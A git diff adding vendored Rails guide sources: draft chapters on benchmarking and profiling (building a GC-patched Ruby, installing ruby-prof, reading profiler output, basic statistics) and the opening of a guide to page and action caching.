diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt
new file mode 100644
index 00000000..765a1e21
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt
@@ -0,0 +1,185 @@
+== Performance Testing Built into Rails ==
+
+As of June 20, 2008 edge rails has had a new type of Unit test geared towards profiling. Of course like most great things, getting it working takes bit of work. The test relies on statistics gathered from the Garbage Collection that isn't readily available from standard compiled ruby. There is a patch located at http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch]
+
+Also the test requires a new version of Ruby-Prof version of 0.6.1. It is not readily available at the moment and can most easily be found as a tarball on github. It's repository is located at git://github.com/jeremy/ruby-prof.git.
+
+What follows is a description of how to set up an alternative ruby install to use these features
+
+=== Compiling the Interpreter ===
+
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ mkdir rubygc
+[User ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
+[User ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
+[User ~]$ cd ruby-1.8.6-p111
+[User ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+
+#I like putting my alternative ruby builds in an opt directory, set the prefix to where ever you feel is most comfortable.
+
+[User ruby-1.8.6-p111]$ ./configure --prefix=/opt/rubygc
+[User ruby-1.8.6-p111]$ sudo make && make install
+----------------------------------------------------------------------------
+
+Add the following lines in your \~/.profile or \~/.bash\_login for convenience.
+
+----------------------------------------------------------------------------
+alias gcruby='/opt/rubygc/rubygc/bin/ruby'
+alias gcrake='/opt/rubygc/rubygc/bin/rake'
+alias gcgem='/opt/rubygc/rubygc/bin/gem'
+alias gcirb=/opt/rubygc/rubygc/bin/irb'
+alias gcrails='/opt/rubygc/rubygc/bin/rails'
+----------------------------------------------------------------------------
+
+=== Installing RubyGems ===
+
+Next we need to install rubygems and rails so that we can use the interpreter properly.
+
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
+[User ~]$ tar -xzvf rubygems-1.2.0.tgz
+[User ~]$ cd rubygems-1.2.0
+[User rubygems-1.2.0]$ gcruby setup.rb
+[User rubygems-1.2.0]$ cd ~
+[User ~]$ gcgem install rake
+[User ~]$ gcgem install mysql
+[User ~]$ gcgem install rails
+----------------------------------------------------------------------------
+
+If installing mysql gem fails ( like it did for me ), you will have to manually install it :
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[User mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[User mysql-2.7]$ make && make install
+----------------------------------------------------------------------------
+
+=== Installing Jeremy Kemper's ruby-prof ===
+
+We are in the home stretch. All we need now is ruby-proff 0.6.1
+
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ git clone git://github.com/jeremy/ruby-prof.git
+[User ~]$ cd ruby-prof/
+[User ruby-prof (master)]$ gcrake gem
+[User ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
+----------------------------------------------------------------------------
+
+Finished, go get yourself a power drink!
+
+=== Ok so I lied, a few more things we need to do ===
+
+You have everything we need to start profiling through rails Unit Testing. Unfortunately we are still missing a few files. I'm going to do the next step on a fresh Rails app, but it will work just as well on developmental 2.1 rails application.
+
+==== The Rails App ====
+
+First I need to generate a rail app
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ gcrails profiling_tester -d mysql
+[User ~]$ cd profiling_tester
+[User profiling_tester]$ script/generate scaffold item name:string
+[User profiling_tester]$ gcrake db:create:all
+[User profiling_tester]$ gcrake db:migrate
+[User profiling_tester (master)]$ rm public/index.html
+----------------------------------------------------------------------------
+
+Now I'm going to init it as a git repository and add edge rails as a submodule to it.
+
+[source, shell]
+----------------------------------------------------------------------------
+[User profiling_tester]$ git init
+[User profiling_tester (master)]$ git submodule add git://github.com/rails/rails.git vendor/rails
+----------------------------------------------------------------------------
+
+Finally we want to change config.cache_classes to true in our environment.rb
+
+----------------------------------------------------------------------------
+config.cache_classes = true
+----------------------------------------------------------------------------
+
+If we don't cache classes, then the time Rails spends reloading and compiling our models and controllers will confound our results. Obviously we will try to make our test setup as similar as possible to our production environment.
+
+=== Generating and Fixing the tests ===
+
+Ok next we need to generate the test script.
+
+[source, shell]
+----------------------------------------------------------------------------
+[User profiling_tester (master)]$ script/generate performance_test homepage
+----------------------------------------------------------------------------
+
+This will generate _test/performance/homepage_test.rb_ for you. However, as I have generated the project using Rails 2.1 gem, we'll need to manually generate one more file before we can go ahead.
+
+We need to put the following inside _test/performance/test_helper.rb
+
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+----------------------------------------------------------------------------
+
+Though this depends where you run your tests from and your system config. I myself run my tests from the Application root directory
+
+so instead of
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+
+#I have
+
+require 'test/test_helper'
+----------------------------------------------------------------------------
+
+Also I needed to change homepage_test.rb to reflect this also
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test/performance/test_helper.rb'
+----------------------------------------------------------------------------
+
+=== Testing ===
+
+#TODO is there some way to compare multiple request at once like ruby_analyze
+
+Now, if we look at the generated performance test ( one we generated using _script/generate performance_test_ ), it'll look something like :
+
+[source, ruby]
+----------------------------------------------------------------------------
+.require 'performance/test_helper'
+
+class HomepageTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_homepage
+ get '/'
+ end
+end
+----------------------------------------------------------------------------
+
+
+The format looks very similar to that of an integration test. And guess what, that's what it is. But that doesn't stop you from testing your Model methods. You could very well write something like :
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'performance/test_helper'
+
+class UserModelTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_slow_find
+ User.this_takes_shlong_to_run
+ end
+end
+----------------------------------------------------------------------------
+
+
+Which is very useful way to profile individual processes.
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt
new file mode 100644
index 00000000..1f1d365e
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt
@@ -0,0 +1,27 @@
+== Get Yourself a Game Plan ==
+
+You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -
+
+=== The Analysis Process ===
+
+I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.
+
+For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.
+
+Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.
+
+* Develop a set of variables and processes to measure in order to answer this question!
+* Profile based on the question and variables. Key problems to avoid when designing this experiment are:
+ - Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes.
+ - Cross Contamination: Make sure that runs from one test do not harm the other tests.
+ - Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
+ - Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
+ - Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
+* Do a small run of the experiment to verify the design.
+* Use the small run to determine a proper sample size.
+* Run the test.
+* Perform the analysis on the results and determine where to go from there.
+
+Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.
+
+
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt
new file mode 100644
index 00000000..ef45ff62
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt
@@ -0,0 +1,242 @@
+Benchmarking and Profiling Rails
+================================
+
+This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:
+
+* Understand the various types of benchmarking and profiling metrics
+* Generate performance/benchmarking tests
+* Use GC patched Ruby binary to measure memory usage and object allocation
+* Understand the information provided by Rails inside the log files
+* Learn about various tools facilitating benchmarking and profiling
+
+== Why Benchmark and Profile ?
+
+Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.
+
+=== What is the difference between benchmarking and profiling ? ===
+
+Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.
+
+== Using and understanding the log files ==
+
+Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :
+
+[source, ruby]
+----------------------------------------------------------------------------
+Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]
+ Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335
+ Parameters: {"action"=>"index", "controller"=>"items"}
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
+----------------------------------------------------------------------------
+
+For this section, we're only interested in the last line from that log entry:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
+----------------------------------------------------------------------------
+
+This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
+
+== Helper methods ==
+
+Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called +benchmark()+ in all three components.
+
+[source, ruby]
+----------------------------------------------------------------------------
+Project.benchmark("Creating project") do
+ project = Project.create("name" => "stuff")
+ project.create_manager("name" => "David")
+ project.milestones << Milestone.find(:all)
+end
+----------------------------------------------------------------------------
+
+The above code benchmarks the multiple statments enclosed inside +Project.benchmark("Creating project") do..end+ block and prints the results inside log files. The statement inside log files will look like:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Creating projectem (185.3ms)
+----------------------------------------------------------------------------
+
+Please refer to http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for optional options to +benchmark()+
+
+Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] ( Note that it's a class method here ):
+
+[source, ruby]
+----------------------------------------------------------------------------
+def process_projects
+ self.class.benchmark("Processing projects") do
+ Project.process(params[:project_ids])
+ Project.update_cached_projects
+ end
+end
+----------------------------------------------------------------------------
+
+and http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]:
+
+[source, ruby]
+----------------------------------------------------------------------------
+<% benchmark("Showing projects partial") do %>
+ <%= render :partial => @projects %>
+<% end %>
+----------------------------------------------------------------------------
+
+== Performance Test Cases ==
+
+Rails provides a very easy to write performance test cases, which look just like the regular integration tests.
+
+If you have a look at +test/performance/browsing_test.rb+ in a newly created Rails application:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+ def test_homepage
+ get '/'
+ end
+end
+----------------------------------------------------------------------------
+
+This is an automatically generated example performance test file, for testing performance of homepage('/') of the application.
+
+=== Modes ===
+
+==== Benchmarking ====
+==== Profiling ====
+
+=== Metrics ===
+
+==== Process Time ====
+
+CPU Cycles.
+
+==== Memory ====
+
+Memory taken.
+
+==== Objects ====
+
+Objects allocated.
+
+==== GC Runs ====
+
+Number of times the Ruby GC was run.
+
+==== GC Time ====
+
+Time spent running the Ruby GC.
+
+=== Preparing Ruby and Ruby-prof ===
+
+Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:
+
+==== Compile ====
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null ~]$ mkdir rubygc
+[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
+[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
+[lifo@null ~]$ cd ruby-1.8.6-p111
+[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc
+[lifo@null ruby-1.8.6-p111]$ make && make install
+----------------------------------------------------------------------------
+
+==== Prepare aliases ====
+
+Add the following lines in your ~/.profile for convenience:
+
+----------------------------------------------------------------------------
+alias gcruby='/Users/lifo/rubygc/bin/ruby'
+alias gcrake='/Users/lifo/rubygc/bin/rake'
+alias gcgem='/Users/lifo/rubygc/bin/gem'
+alias gcirb='/Users/lifo/rubygc/bin/irb'
+alias gcrails='/Users/lifo/rubygc/bin/rails'
+----------------------------------------------------------------------------
+
+==== Install rubygems and some basic gems ====
+
+----------------------------------------------------------------------------
+[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
+[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz
+[lifo@null ~]$ cd rubygems-1.2.0
+[lifo@null rubygems-1.2.0]$ gcruby setup.rb
+[lifo@null rubygems-1.2.0]$ cd ~
+[lifo@null ~]$ gcgem install rake
+[lifo@null ~]$ gcgem install rails
+----------------------------------------------------------------------------
+
+==== Install MySQL gem ====
+
+----------------------------------------------------------------------------
+[lifo@null ~]$ gcgem install mysql
+----------------------------------------------------------------------------
+
+If this fails, you can try to install it manually:
+
+----------------------------------------------------------------------------
+[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql-2.7]$ make && make install
+----------------------------------------------------------------------------
+
+=== Installing Jeremy Kemper's ruby-prof ===
+
+We also need to install Jeremy's ruby-prof gem using our newly built ruby:
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null ~]$ git clone git://github.com/jeremy/ruby-prof.git
+[lifo@null ~]$ cd ruby-prof/
+[lifo@null ruby-prof (master)]$ gcrake gem
+[lifo@null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
+----------------------------------------------------------------------------
+
+=== Generating performance test ===
+
+Rails provides a simple generator for creating new performance tests:
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null application (master)]$ script/generate performance_test homepage
+----------------------------------------------------------------------------
+
+This will generate +test/performance/homepage_test.rb+:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_homepage
+ get '/'
+ end
+end
+----------------------------------------------------------------------------
+
+Which you can modify to suit your needs.
+
+=== Running tests ===
+
+include::rubyprof.txt[]
+
+include::digging_deeper.txt[]
+
+include::gameplan.txt[]
+
+include::appendix.txt[]
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
+
+* October 17, 2008: First revision by Pratik
+* September 6, 2008: Initial version by Matthew Bergman
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt
new file mode 100644
index 00000000..fa01d413
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt
@@ -0,0 +1,179 @@
+== Understanding Performance Tests Outputs ==
+
+=== Our First Performance Test ===
+
+So how do we profile a request.
+
+One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.
+
+In the terminal run
+
+[source, ruby]
+----------------------------------------------------------------------------
+[User profiling_tester]$ gcruby tests/performance/homepage.rb
+----------------------------------------------------------------------------
+
+After the tests runs for a few seconds you should see something like this.
+
+----------------------------------------------------------------------------
+HomepageTest#test_homepage (19 ms warmup)
+ process_time: 26 ms
+ memory: 298.79 KB
+ objects: 1917
+
+Finished in 2.207428 seconds.
+----------------------------------------------------------------------------
+
+Simple but efficient.
+
+* Process Time refers to amount of time necessary to complete the action.
+* memory is the amount of information loaded into memory
+* object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
+
+In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.
+
+*The Three types are*
+
+* Flat File - A simple text file with the data laid out in a grid
+* Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action.
+* Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
+
+NOTE: KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.
+
+Below are examples for Flat Files and Graphical Files
+
+=== Flat Files ===
+
+.Flat File Output Processing Time
+============================================================================
+Thread ID: 2279160
+Total: 0.026097
+
+ %self total self wait child calls name
+ 6.41 0.06 0.04 0.00 0.02 571 Kernel#===
+ 3.17 0.00 0.00 0.00 0.00 172 Hash#[]
+ 2.42 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_exit
+ 2.05 0.00 0.00 0.00 0.00 15 Array#each
+ 1.56 0.00 0.00 0.00 0.00 6 Logger#add
+ 1.55 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_enter
+ 1.36 0.03 0.00 0.00 0.03 1 ActionController::Integration::Session#process
+ 1.31 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_release
+ 1.15 0.00 0.00 0.00 0.00 8 MonitorMixin#synchronize-1
+ 1.09 0.00 0.00 0.00 0.00 23 Class#new
+ 1.03 0.01 0.00 0.00 0.01 5 MonitorMixin#synchronize
+ 0.89 0.00 0.00 0.00 0.00 74 Hash#default
+ 0.89 0.00 0.00 0.00 0.00 6 Hodel3000CompliantLogger#format_message
+ 0.80 0.00 0.00 0.00 0.00 9 c
+ 0.80 0.00 0.00 0.00 0.00 11 ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
+ 0.79 0.01 0.00 0.00 0.01 1 ActionController::Benchmarking#perform_action_without_rescue
+ 0.18 0.00 0.00 0.00 0.00 17 #allocate
+============================================================================
+
+So what do these columns tell us:
+
+ * %self - The percentage of time spent processing the method. This is derived from self_time/total_time
+ * total - The time spent in this method and its children.
+ * self - The time spent in this method.
+ * wait - Time processed was queued
+ * child - The time spent in this method's children.
+ * calls - The number of times this method was called.
+ * name - The name of the method.
+
+Name can be displayed three seperate ways:
+ * #toplevel - The root method that calls all other methods
+ * MyObject#method - Example Hash#each, The class Hash is calling the method each
+ * #test - The <> characters indicate a singleton method on a singleton class. Example #allocate
+
+Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.
+
+So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.
+
+
+.Flat File Memory Output
+============================================================================
+Thread ID: 2279160
+Total: 509.724609
+
+ %self total self wait child calls name
+ 4.62 23.57 23.57 0.00 0.00 34 String#split
+ 3.95 57.66 20.13 0.00 37.53 3 #quick_emit
+ 2.82 23.70 14.35 0.00 9.34 2 #quick_emit-1
+ 1.37 35.87 6.96 0.00 28.91 1 ActionView::Helpers::FormTagHelper#form_tag
+ 1.35 7.69 6.88 0.00 0.81 1 ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
+ 1.06 6.09 5.42 0.00 0.67 90 String#gsub
+ 1.01 5.13 5.13 0.00 0.00 27 Array#-
+============================================================================
+
+Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory *(or is it strictly into the heap) can I get clarification on this minor point?*
+
+So for #quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.
+
+.Flat File Objects
+============================================================================
+Thread ID: 2279160
+Total: 6537.000000
+
+ %self total self wait child calls name
+ 15.16 1096.00 991.00 0.00 105.00 66 Hash#each
+ 5.25 343.00 343.00 0.00 0.00 4 Mysql::Result#each_hash
+ 4.74 2203.00 310.00 0.00 1893.00 42 Array#each
+ 3.75 4529.00 245.00 0.00 4284.00 1 ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
+ 2.00 136.00 131.00 0.00 5.00 90 String#gsub
+ 1.73 113.00 113.00 0.00 0.00 34 String#split
+ 1.44 111.00 94.00 0.00 17.00 31 Array#each-1
+============================================================================
+
+
+ #TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.
+
+=== Graph Files ===
+
+While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found link:examples/graph.html[Here]
+
+#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging.
+ )
+
+.Graph File
+============================================================================
+Thread ID: 21277412
+
+ %total %self total self children calls Name
+/____________________________________________________________________________/
+100.00% 0.00% 8.77 0.00 8.77 1 #toplevel*
+ 8.77 0.00 8.77 1/1 Object#run_primes
+/____________________________________________________________________________/
+ 8.77 0.00 8.77 1/1 #toplevel
+100.00% 0.00% 8.77 0.00 8.77 1 Object#run_primes*
+ 0.02 0.00 0.02 1/1 Object#make_random_array
+ 2.09 0.00 2.09 1/1 Object#find_largest
+ 6.66 0.00 6.66 1/1 Object#find_primes
+/____________________________________________________________________________/
+ 0.02 0.02 0.00 1/1 Object#make_random_array
+0.18% 0.18% 0.02 0.02 0.00 1 Array#each_index
+ 0.00 0.00 0.00 500/500 Kernel.rand
+ 0.00 0.00 0.00 500/501 Array#[]=
+/____________________________________________________________________________/
+============================================================================
+
+As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.
+
+So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.
+
+=== Tree Files ===
+
+It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness
+
+.KCachegrind Graph
+[caption="KCachegrind graph"]
+image:images/kgraph.png[Graph created by KCachegrind]
+
+.KCachegrind List
+[caption="KCachegrind List"]
+image:images/klist.png[List created by KCachegrind]
+
+#TODO Add a bit more information to this.
+
+== Getting to the Point of all of this ==
+
+Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section
+
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt
new file mode 100644
index 00000000..9fca979d
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt
@@ -0,0 +1,57 @@
+== A Lession In Statistics ==
+
+#TODO COMPRESS DOWN INTO A PARAGRAPH AND A HALF
+maybe I'll just combine with the methodology portion as an appendix.
+
+Adapted from a blog Article by Zed Shaw. His rant is funnier but will take longer to read. http://www.zedshaw.com/rants/programmer_stats.html[Programmers Need To Learn Statistics Or I Will Kill Them All]
+
+=== Why Learn Statistics ===
+
+Statistics is a hard discipline. One can study it for years without fully grasping all the complexities. But its a necessary evil for coders of every level to at least know the basics. You can't optimize without it, and if you use it wrong, you'll just waste your time and the rest of your team's.
+
+=== Power-of-Ten Syndrome ===
+
+If you done any benchmarking you have probably heard
+“All you need to do is run that test [insert power-of-ten] times and then do an average.â€
+
+For new developers this whole power of ten comes about because we need enough data to minimize the results being contaminated by outliers. If you loaded a page five times with three of those times being around 75ms and twice 250ms you have no way of knowing the real average processing time for you page. But if we take a 1000 times and 950 are 75ms and 50 are 250ms we have a much clearer picture of the situation.
+
+But this still begs the question of how you determine that 1000 is the correct number of iterations to improve the power of the experiment? (Power in this context basically means the chance that your experiment is right.)
+
+The first thing that needs to be determined is how you are performing the samplings? 1000 iterations run in a massive sequential row? A set of 10 runs with 100 each? The statistics are different depending on which you do, but the 10 runs of 100 each would be a better approach. This lets you compare sample means and figure out if your repeated runs have any bias. More simply put, this allows you to see if you have a many or few outliers that might be poisoning your averages.
+
+Another consideration is if a 1000 transactions is enough to get the process into a steady state after the ramp-up period? If you are benchmarking a long running process that stabilizes only after a warm-up time you must take that into consideration.
+
+Also remember getting an average is not an end goal in itself. In fact in some cases they tell you almost nothing.
+
+=== Don't Just Use Averages! ===
+
+One cannot simply say my website “[insert power-of-ten] requests per secondâ€. This is due to it being an Average. Without some form of range or variance error analysis it's a useless number. Two averages can be the same, but hide massive differences in behavior. Without a standard deviation it’s not possible to figure out if the two might even be close.
+
+Two averages can be the same say 30 requests a second and yet have a completely different standard deviation. Say the first sample has +-3 and the second is +-30
+
+Stability is vastly different for these two samples If this were a web server performance run I’d say the second server has a major reliability problem. No, it’s not going to crash, but it’s performance response is so erratic that you’d never know how long a request would take. Even though the two servers perform the same on average, users will think the second one is slower because of how it seems to randomly perform.
+
+Another big thing to take into consideration when benchmarking and profiling is Confounding
+
+=== Confounding ===
+
+The idea of confounding is pretty simple: If you want to measure something, then don’t measure anything else.
+
+#TODO add more information in how to avoid confounding.
+
+* Your testing system and your production system must be separate. You can't profile on the same system because you are using resources to run the test that your server should be using to serve the requests.
+
+And one more thing.
+
+=== Define what you are Measuring ===
+
+Before you can measure something you really need to lay down a very concrete definition of what you’re measuring. You should also try to measure the simplest thing you can and try to avoid confounding.
+
+The most important thing to determine though is how much data you can actually send to your application through it's pipe.
+
+=== Back to Business ===
+
+Now I know this was all a bit boring, but these fundamentals a necessary for understanding what we are actually doing here. Now onto the actual code and rails processes.
+
+
diff --git a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt b/vendor/rails/railties/doc/guides/source/caching_with_rails.txt
new file mode 100644
index 00000000..e680b79d
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/caching_with_rails.txt
@@ -0,0 +1,367 @@
+Caching with Rails: An overview
+===============================
+
+Everyone caches. This guide will teach you what you need to know about
+avoiding that expensive round-trip to your database and returning what you
+need to return to those hungry web clients in the shortest time possible.
+
+== Basic Caching
+
+This is an introduction to the three types of caching techniques that Rails
+provides by default without the use of any third party plugins.
+
+To get started make sure config.action_controller.perform_caching is set
+to true for your environment. This flag is normally set in the
+corresponding config/environments/*.rb and caching is disabled by default
+there for development and test, and enabled for production.
+
+[source, ruby]
+-----------------------------------------------------
+config.action_controller.perform_caching = true
+-----------------------------------------------------
+
+=== Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated
+page to be fulfilled by the webserver, without ever having to go through the
+Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
+applied to every situation (such as pages that need authentication) and since
+the webserver is literally just serving a file from the filesystem, cache
+expiration is an issue that needs to be dealt with.
+
+So, how do you enable this super-fast cache behavior? Simple, let's say you
+have a controller called ProductsController and a 'list' action that lists all
+the products
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+ caches_page :index
+
+ def index; end
+
+end
+-----------------------------------------------------
+
+The first time anyone requests products/index, Rails will generate a file
+called index.html and the webserver will then look for that file before it
+passes the next request for products/index to your Rails application.
+
+By default, the page cache directory is set to Rails.public_path (which is
+usually set to RAILS_ROOT + "/public") and this can be configured by
+changing the configuration setting ActionController::Base.page_cache_directory. Changing the
+default from /public helps avoid naming conflicts, since you may want to
+put other static html in /public, but changing this will require web
+server reconfiguration to let the web server know where to serve the
+cached files from.
+
+The Page Caching mechanism will automatically add a .html exxtension to
+requests for pages that do not have an extension to make it easy for the
+webserver to find those pages and this can be configured by changing the
+configuration setting ActionController::Base.page_cache_extension.
+
+In order to expire this page when a new product is added we could extend our
+example controler like this:
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+ caches_page :list
+
+ def list; end
+
+ def create
+ expire_page :action => :list
+ end
+
+end
+-----------------------------------------------------
+
+If you want a more complicated expiration scheme, you can use cache sweepers
+to expire cached objects when things change. This is covered in the section on Sweepers.
+
+[More: caching paginated results? more examples? Walk-through of page caching?]
+
+=== Action Caching
+
+One of the issues with Page Caching is that you cannot use it for pages that
+require to restrict access somehow. This is where Action Caching comes in.
+Action Caching works like Page Caching except for the fact that the incoming
+web request does go from the webserver to the Rails stack and Action Pack so
+that before filters can be run on it before the cache is served, so that
+authentication and other restrictions can be used while still serving the
+result of the output from a cached copy.
+
+Clearing the cache works in the exact same way as with Page Caching.
+
+Let's say you only wanted authenticated users to edit or create a Product
+object, but still cache those pages:
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+ before_filter :authenticate, :only => [ :edit, :create ]
+ caches_page :list
+ caches_action :edit
+
+ def list; end
+
+ def create
+ expire_page :action => :list
+ expire_action :action => :edit
+ end
+
+ def edit; end
+
+end
+-----------------------------------------------------
+
